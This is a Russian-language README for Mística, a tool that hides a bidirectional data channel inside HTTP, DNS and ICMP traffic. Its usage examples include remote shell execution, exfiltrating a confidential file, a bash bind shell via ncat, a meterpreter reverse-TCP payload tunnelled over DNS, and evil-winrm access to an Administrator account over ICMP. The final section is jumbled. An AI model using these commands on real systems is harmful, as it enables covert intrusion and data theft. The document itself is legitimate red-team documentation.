
Открытый швейцарский нож для произвольной связи по прикладным протоколам
![]() |
|---|
| Логотип Mística от JoelGMSec |
Mística — это инструмент, позволяющий встраивать данные в поля протоколов прикладного уровня с целью установления двунаправленного канала для произвольной связи. В настоящее время реализована инкапсуляция в протоколы HTTP, HTTPS, DNS и ICMP, но в ближайшем будущем ожидается внедрение дополнительных протоколов.
Mística имеет модульную архитектуру, построенную вокруг пользовательского транспортного протокола под названием SOTP (Simple Overlay Transport Protocol). Данные шифруются, разбиваются на части и помещаются в пакеты SOTP. Пакеты SOTP кодируются и встраиваются в нужное поле протокола прикладного уровня, после чего отправляются на другой конец.
Цель уровня SOTP — предоставить универсальный бинарный транспортный протокол с минимальными накладными расходами. Пакеты SOTP легко скрыть или встроить в легитимные протоколы прикладного уровня. Кроме того, SOTP гарантирует получение пакетов другим концом, шифрует данные с помощью RC4 (в будущем это может измениться) и обеспечивает прозрачную передачу информации в обоих направлениях с помощью механизма опроса (polling).
Модули взаимодействуют с уровнем SOTP для различных целей:
Модули-обёртки и наложенные модули работают вместе, чтобы создавать пользовательские приложения, например, перенаправление ввода через DNS или удалённое перенаправление портов через HTTP.
Модульная архитектура Mística позволяет легко разрабатывать новые модули. Кроме того, пользователь может легко форкнуть существующие модули, чтобы использовать собственное поле или кодировку, либо изменить поведение наложенного модуля.
Программное обеспечение состоит из двух основных компонентов:
ms.py): Использует модули, которые действуют как сервер нужного протокола прикладного уровня (HTTP, HTTPS, DNS, ICMP...). Он спроектирован таким образом, чтобы позволять одновременный запуск нескольких серверов, обёрток и наложений с помощью одного экземпляра ms.py, хотя эта функция пока полностью не реализована.mc.py): Использует модули, которые действуют как клиент нужного протокола прикладного уровня (HTTP, HTTPS, DNS, ICMP...). Он может использовать одновременно только одну обёртку и одно наложение.Вы можете увидеть некоторые демонстрации Mística в следующем плейлисте
У проекта очень мало зависимостей. На данный момент:
dnslib.```
python3.7 -m pip install pip --user
pip3.7 install dnslib --userЕсли вы не хотите устанавливать Python в своей системе, вы можете использовать одну из следующих портативных версий:
- https://www.anaconda.com/distribution/#download-section (для Windows, Linux и macOS)
- https://github.com/winpython/winpython/releases/tag/2.1.20190928 (только для Windows)
## Текущие модули
Модули наложения:
- `io`: Читает из stdin, отправляет через SOTP-соединение. Читает из SOTP-соединения, выводит в stdout
- `shell`: Выполняет команды, полученные через SOTP-соединение, и возвращает вывод. Совместим с модулем io.
- `tcpconnect`: Подключается к TCP-порту. Читает из сокета, отправляет через SOTP-соединение. Читает из SOTP-соединения, отправляет через сокет.
- `tcplisten`: Привязывается к TCP-порту. Читает из сокета, отправляет через SOTP-соединение. Читает из SOTP-соединения, отправляет через сокет.
Модули обёртки:
- `dns`: Кодирует/декодирует данные в DNS-запросах/ответах, используя различные методы
- `http`: Кодирует/декодирует данные в HTTP или HTTPS запросах/ответах, используя различные методы
- `icmp`: Кодирует/декодирует данные в ICMP эхо-запросах/ответах в секции данных
## Использование
`ms.py`: сервер Mística
Вот как выглядит сообщение справки:```txt
usage: ms.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS]
[-o OVERLAY_ARGS] [-s WRAP_SERVER_ARGS]
Mistica server. Anything is a tunnel if you're brave enough. Run without
parameters to launch multi-handler mode.
optional arguments:
-h, --help show this help message and exit
-k KEY, --key KEY RC4 key used to encrypt the comunications
-l LIST, --list LIST Lists modules or parameters. Options are: all,
overlays, wrappers, <overlay name>, <wrapper name>
-m MODULES, --modules MODULES
Module pair in single-handler mode. format:
'overlay:wrapper'
-w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS
args for the selected overlay module (Single-handler
mode)
-o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS
args for the selected wrapper module (Single-handler
mode)
-s WRAP_SERVER_ARGS, --wrap-server-args WRAP_SERVER_ARGS
args for the selected wrap server (Single-handler
mode)
-v, --verbose Level of verbosity in logger (no -v None, -v Low, -vv
Medium, -vvv High)
Есть два основных режима в Mística Server:
ms.py запускается с параметрами, он позволяет одному оверлейному модулю взаимодействовать с одним модулем-обёрткой.ms.py запускается без параметров, пользователь попадает в интерактивную консоль, где могут быть запущены несколько оверлейных модулей и модулей-обёрток. Эти модули смогут взаимодействовать друг с другом с небольшими ограничениями.mc.py: Mística клиент
Вот как выглядит сообщение справки:```txt usage: mc.py [-h] [-k KEY] [-l LIST] [-m MODULES] [-w WRAPPER_ARGS] [-o OVERLAY_ARGS]
Mistica client.
optional arguments: -h, --help show this help message and exit -k KEY, --key KEY RC4 key used to encrypt the comunications -l LIST, --list LIST Lists modules or parameters. Options are: all, overlays, wrappers, , -m MODULES, --modules MODULES Module pair. Format: 'overlay:wrapper' -w WRAPPER_ARGS, --wrapper-args WRAPPER_ARGS args for the selected overlay module -o OVERLAY_ARGS, --overlay-args OVERLAY_ARGS args for the selected wrapper module -v, --verbose Level of verbosity in logger (no -v None, -v Low, -vv Medium, -vvv High)
### Параметры
- `-l, --list` используется либо для вывода списка `всех` модулей, либо только одного типа: (`overlays` или `wrappers`), либо для вывода параметров, которые определённый модуль может принимать через `-o`, `-w` или `-s`.
- `-k, --key` используется для указания ключа, который будет применяться для шифрования связи оверлея. Этот ключ должен быть одинаковым на клиенте и сервере и в настоящее время является обязательным. В будущем это может измениться, если будут реализованы схемы разделения секрета.
- `-m, --modules` используется для указания, какую пару модулей вы хотите использовать. Необходимо использовать следующий формат: **overlay_module** + **:** + **wrap_module**. Этот параметр также обязателен.
- `-w, --wrapper-args` позволяет указать конкретную конфигурацию для модуля обёртки.
- `-o, --overlay-args` позволяет указать конкретную конфигурацию для оверлейного модуля.
- `-s, --wrap-server-args` присутствует только в `ms.py`. Он позволяет указать конкретную конфигурацию для сервера обёртки. Каждый модуль обёртки зависит от сервера обёртки, и можно настроить обе конфигурации.
## Примеры и расширенное использование
> Помните, что вы можете просмотреть все принимаемые параметры модуля, введя `-l <имя_модуля>` (например, `./ms.py -l dns`). Также не забывайте использовать длинный и сложный ключ для защиты вашей связи!
### HTTP
Для иллюстрации различных методов инкапсуляции HTTP для каждого примера будет использоваться оверлейный модуль перенаправления ввода-вывода (`io`).
- HTTP метод GET с кодировкой b64 в URI по умолчанию, используя localhost и порт 8080 (значения по умолчанию).
- Сервер Mística: `./ms.py -m io:http -k "rc4testkey"`
- Клиент Mística: `./mc.py -m io:http -k "rc4testkey"`
- HTTP метод GET с кодировкой b64 в URI по умолчанию, **с указанием IP-адреса и порта**.
- Сервер Mística: `./ms.py -m io:http -k "rc4testkey" -s "--hostname x.x.x.x --port 10000"`
- Клиент Mística: `./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 10000"`
- HTTP метод GET с кодировкой b64 в **пользовательском URI**, используя localhost и порт 8080 (значения по умолчанию).
- Сервер Mística: `./ms.py -m io:http -k "rc4testkey" -w "--uri /?token="`
- Клиент Mística: `./mc.py -m io:http -k "rc4testkey" -w "--uri /?token="`
- HTTP метод GET с кодировкой b64 в **пользовательском заголовке**, используя localhost и порт 8080 (значения по умолчанию).
- Сервер Mística: `./ms.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
- Клиент Mística: `./mc.py -m io:http -k "rc4testkey" -w "--header laravel_session"`
- HTTP **POST** метод с кодировкой b64 в поле по умолчанию, используя localhost и порт 8080 (значения по умолчанию).
- Сервер Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST"`
- Клиент Mística: `./mc.py -m io:http -k "rc4testkey" -w "--method POST"`
- HTTP **POST** метод с кодировкой b64 в **пользовательском заголовке**, используя localhost и порт 8080 (значения по умолчанию).
- Сервер Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
- Клиент Mística: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --header Authorization"`
- HTTP **POST** метод с кодировкой b64 в **пользовательском поле**, используя localhost и порт 8080 (значения по умолчанию).
- Сервер Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- Клиент Mística: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- HTTP **POST** метод с кодировкой b64 в **пользовательском поле, с пользовательским размером пакета, пользовательским числом повторов, пользовательским таймаутом и указанием IP и порта**:
- Сервер Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10" -s "--hostname 0.0.0.0 --port 8088 --timeout 30"`
- Клиент Mística: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data --max-size 30000 --max-retries 10 --poll-delay 10 --response-timeout 30 --hostname x.x.x.x --port 8088"`
- HTTP **POST** метод с кодировкой b64 в **пользовательском поле**, **с использованием пользовательского шаблона ошибки**, используя localhost и порт 8080 (значения по умолчанию).
- Сервер Mística: `./ms.py -m io:http -k "rc4testkey" -w "--method POST --post-field data" -s "--error-file /tmp/custom_error_template.html --error-code 408"`
- Клиент Mística: `./mc.py -m io:http -k "rc4testkey" -w "--method POST --post-field data"`
- HTTP GET метод с кодировкой b64 в URI по умолчанию, используя **пользовательский код ответа HTTP** и используя localhost и порт 8080 (значения по умолчанию):
- Сервер Mística: `./ms.py -m io:http -k "rc4testkey" -w "--success-code 302"`
- Клиент Mística: `./mc.py -m io:http -k "rc4testkey" -w "--success-code 302"`
- HTTPS GET метод с кодировкой b64 в URI по умолчанию, используя порт 443. На сервере Mistica должен быть сгенерирован сертификат для использования опции ssl; клиенту Mistica нужно только получить флаг ssl:
- Сервер Mística:
- `openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes`
- `sudo ./ms.py -m io:http -k "rc4testkey" -s "--port 443 --ssl --ssl-cert server.pem"`
- Клиент Mística: `./mc.py -m io:http -k "rc4testkey" -w "--ssl --port 443"`
- HTTP GET метод с кодировкой b64 в URI по умолчанию, используя прокси-сервер на клиенте Mistica (может использоваться в средах, где HTTP-связь обязательно должна проходить через корпоративный прокси, который не указан в настройках компьютера). Протестируйте следующий пример с помощью Burpsuite:
- Сервер Mística: `./ms.py -m io:http -k "rc4testkey" -s "--port 8000 --timeout 30"`
- Клиент Mística: `./mc.py -m io:http -k "rc4testkey" -w "--proxy 127.0.0.1:8080 --port 8000 --poll-delay 30 --response-timeout 30"`
### DNS
Для иллюстрации различных методов инкапсуляции DNS для каждого примера будет использоваться оверлейный модуль перенаправления ввода-вывода (`io`).
- Запрос TXT, используя localhost и порт 5353 (значения по умолчанию):
- Сервер Mística: `./ms.py -m io:dns -k "rc4testkey"`
- Клиент Mística: `./mc.py -m io:dns -k "rc4testkey"`
- Запрос NS, используя localhost и порт 5353 (значения по умолчанию):
- Сервер Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--queries NS"`
- Клиент Mística: `./mc.py -m io:dns -k "rc4testkey" -w "--query NS"`
- Запрос CNAME, используя localhost и порт 5353 (значения по умолчанию):
- Сервер Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--queries CNAME"`
- Клиент Mística: `./mc.py -m io:dns -k "rc4testkey" -w "--query CNAME"`
- Запрос MX, используя localhost и порт 5353 (значения по умолчанию):
- Сервер Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--queries MX"`
- Клиент Mística: `./mc.py -m io:dns -k "rc4testkey" -w "--query MX"`
- Запрос SOA, используя localhost и порт 5353 (значения по умолчанию):
- Сервер Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--queries SOA"`
- Клиент Mística: `./mc.py -m io:dns -k "rc4testkey" -w "--query SOA"`
- Запрос TXT, используя localhost и порт 5353 (значения по умолчанию) и **пользовательские домены**:
- Сервер Mística: `./ms.py -m io:dns -k "rc4testkey" -w "--domains mistica.dev sotp.es"`
- Клиент Mística:
- `./mc.py -m io:dns -k "rc4testkey" -w "--domain sotp.es"`
- `./mc.py -m io:dns -k "rc4testkey" -w "--domain mistica.dev"`
- Запрос TXT, с указанием порта и имени хоста:
- Сервер Mística: `./ms.py -m io:dns -k "rc4testkey" -s "--hostname 0.0.0.0 --port 1337"`
- Клиент Mística: `./mc.py -m io:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 1337"`
- Запрос TXT, с использованием нескольких поддоменов:
- Сервер Mística: `./ms.py -m io:dns -k "rc4testkey"`
- Клиент Mística: `./mc.py -m io:dns -k "rc4testkey" -w "--multiple --max-size 169"`
### ICMP
Ядро Linux при получении пакета icmp echo request по умолчанию автоматически отвечает пакетом icmp echo reply (не давая нам возможности ответить). Поэтому нам нужно отключить icmp-ответы, чтобы иметь возможность отправлять свои собственные с данными, отличными от тех, что отправлены клиентом. Для этого делаем следующее:
Отключите автоматические icmp-ответы ядра (*требуются права root*), отредактировав файл `/etc/sysctl.conf`:
- Добавьте следующую строку в ваш /etc/sysctl.conf:```
net.ipv4.icmp_echo_ignore_all=1
sysctl -p, чтобы изменения вступили в силу.Теперь, чтобы проиллюстрировать различные методы инкапсуляции ICMP, для каждого примера будет использоваться модуль перенаправления ввода-вывода (io).
./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"./mc.py -m io:icmp -k "rc4testkey" -w "--hostname x.x.x.x"Вы можете получить удалённое выполнение команд с помощью mística через пользовательский канал, комбинируя модули io и shell. Примеры:
Выполнение команд на клиентской системе через DNS с использованием TXT-запроса.
sudo ./ms.py -m io:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53"./mc.py -m shell:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53"Выполнение команд на серверной системе через HTTP с использованием GET-запросов:
./ms.py -m shell:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000"./mc.py -m io:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000"Выполнение команд на клиентской системе через ICMP:
./ms.py -m io:icmp -k "rc4testkey" -s "--iface eth0"./mc.py -m shell:icmp -k "rc4testkey" -w "--hostname x.x.x.x"Экспорт файлов через HTTP с помощью модуля IO и операторов перенаправления:
./ms.py -m io:http -s "--hostname 0.0.0.0 --port 80" -k "rc4testkey" -vv > confidential.pdf127.0.0.1:4444 на клиенте будет перенаправлен на адрес 127.0.0.1:5555 на сервере. На порту 5555 уже должно быть что-то прослушивающее.
./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"127.0.0.1:4444 на сервере будет перенаправлен на адрес 127.0.0.1:5555 на клиенте. На порту 5555 уже должно быть что-то прослушивающее.
sudo ./ms.py -m tcplisten:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"./mc.py -m tcpconnect:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"Был создан образ Docker для локального использования. Это избавляет от необходимости устанавливать Python или dnslib, если мы хотим только протестировать инструмент; это также очень удобно для отладки и подобных задач, так как позволяет избежать шума, создаваемого другими локальными приложениями. Чтобы собрать его, просто выполните следующие шаги:
* Во-вторых, создайте сеть с помощью:```
sudo docker network create misticanw
* Четвёртый запуск клиента с:```
sudo docker run --network misticanw -v $(pwd):/opt/Mistica -it mistica /bin/bash
Mística — это инструмент, разработанный на Python, что означает, что теоретически его можно скомпилировать.
Для компиляции инструмента мы будем использовать Pyinstaller, этот инструмент позволит нам сгенерировать бинарный файл (в зависимости от операционной системы, в которой мы находимся), это означает, что мы НЕ можем выполнять кросс-компиляцию, как в других языках, таких как C, C++, Golang, Rust и т.д. Мы работаем над тем, чтобы сделать это возможным, однако мы оставляем вам команду Pyinstaller, которая позволит скомпилировать Mística в любой операционной системе:
Поскольку Mística Client не имеет зависимостей, его можно скомпилировать напрямую с помощью Pyinstaller. Чтобы скомпилировать его, выполните следующие шаги:
* А теперь скомпилируйте Mística Client с помощью следующей команды:```
pyinstaller --onefile \
--hiddenimport overlay.client.io \
--hiddenimport overlay.client.shell \
--hiddenimport overlay.client.tcpconnect \
--hiddenimport overlay.client.tcplisten \
--hiddenimport wrapper.client.http \
--hiddenimport wrapper.client.dns \
--hiddenimport wrapper.client.icmp \
--hiddenimport overlay.server.io \
--hiddenimport overlay.server.shell \
--hiddenimport overlay.server.tcpconnect \
--hiddenimport overlay.server.tcplisten \
--hiddenimport wrapper.server.wrap_module.http \
--hiddenimport wrapper.server.wrap_module.dns \
--hiddenimport wrapper.server.wrap_module.icmp \
--hiddenimport wrapper.server.wrap_server.httpserver \
--hiddenimport wrapper.server.wrap_server.dnsserver \
--hiddenimport wrapper.server.wrap_server.icmpserver \
mc.py
Если вы хотите скомпилировать сервер Mística, вам необходимо установить с помощью Pip библиотеку Dnslib глобально (помните, что это единственная зависимость Mística, и только для сервера Mística). Для этого выполните следующие шаги:
pip install dnslib (без флага "--user", так она будет установлена глобально в системе, иначе pyinstaller не сможет добавить её как скрытый импорт. Этот шаг требует прав администратора).pip install pyinstaller.## Дальнейшая работа
- Метод кросс-компиляции, позволяющий компилировать Mistica для разных операционных систем без необходимости делать это с целевой ОС.
- Прозрачная генерация ключей Диффи-Хеллмана для протокола SOTP
- Режим Multi-Handler: интерактивный режим для `ms.py`. Это позволит пользователю комбинировать более одного оверлея с более чем одной обёрткой и более чем одним модулем обёртки на сервер обёрток.
- Документация по разработке модулей для создания пользовательских модулей. В настоящее время это не рекомендуется, так как спецификация модулей все еще находится в разработке.
- Следующие модули:
- Обёртка SMB
- Оверлей RAT и обработчика RAT
- Оверлей SOCKS-прокси и динамической переадресации портов
- Оверлей передачи файлов
- Обёртка RDP
- Пользовательские HTTP-шаблоны для более сложной инкапсуляции
- Документация по спецификации протокола SOTP для пользовательских клиентов или серверов. В настоящее время это не рекомендуется, так как протокол все еще находится в разработке.
## Авторы и лицензия
Этот проект разработан Карлосом Фернандесом Санчесом и Раулем Каро Тейксидо. Код распространяется под лицензией GNU General Public License v3.
Этот проект использует сторонний открытый исходный код, в частности:
- [Bitstring](https://github.com/scott-griffiths/bitstring) разработан Скоттом Гриффитсом.
- [Бинарно-безопасный RC4](https://github.com/DavidBuchanan314/rc4) разработан Дэвидом Бьюкененом.
- [DNS-клиент без зависимостей](https://github.com/vlasebian/simple-dns-client) разработан Владом Витаном.
- [ICMP-сервер и клиент без зависимостей](https://github.com/rcaroncd/ICMPack/) разработан Раулем Каро.
type confidential.pdf | E:\Mistica\WPy64-3741\python-3.7.4.amd64\python.exe .\mc.py -m io:http -w "--hostname x.x.x.x --port 80" -k "rc4testkey" -vvnc -nlvp 5555./ms.py -m tcpconnect:http -k "rc4testkey" -s "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 5555"./mc.py -m tcplisten:http -k "rc4testkey" -w "--hostname x.x.x.x --port 8000" -o "--address 127.0.0.1 --port 4444"ncat -nve /bin/bash 127.0.0.1 4444meterpreter_reverse_tcp (linux) через DNS с использованием проброса портов. Полезная нагрузка сгенерирована с помощью msfvenom -p linux/x64/meterpreter_reverse_tcp LPORT=4444 LHOST=127.0.0.1 -f elf -o meterpreter_reverse_tcp_localhost_4444.bin
msfconsole на сервере и запустите обработчик командой: handler -p linux/x64/meterpreter_reverse_tcp -H 127.0.0.1 -P 5555sudo ./ms.py -m tcpconnect:dns -k "rc4testkey" -s "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 5555"./mc.py -m tcplisten:dns -k "rc4testkey" -w "--hostname x.x.x.x --port 53" -o "--address 127.0.0.1 --port 4444"./meterpreter_reverse_tcp_localhost_4444.bin./ms.py -m tcplisten:icmp -s "--iface eth0" -k "rc4testkey" -o "--address 127.0.0.1 --port 5555 --persist" -vvpython.exe .\mc.py -m tcpconnect:icmp -w "--hostname x.x.x.x" -k "rc4testkey" -o "--address x.x.x.x --port 5985 --persist" -vvevil-winrm -u Administrador -i 127.0.0.1 -P 5555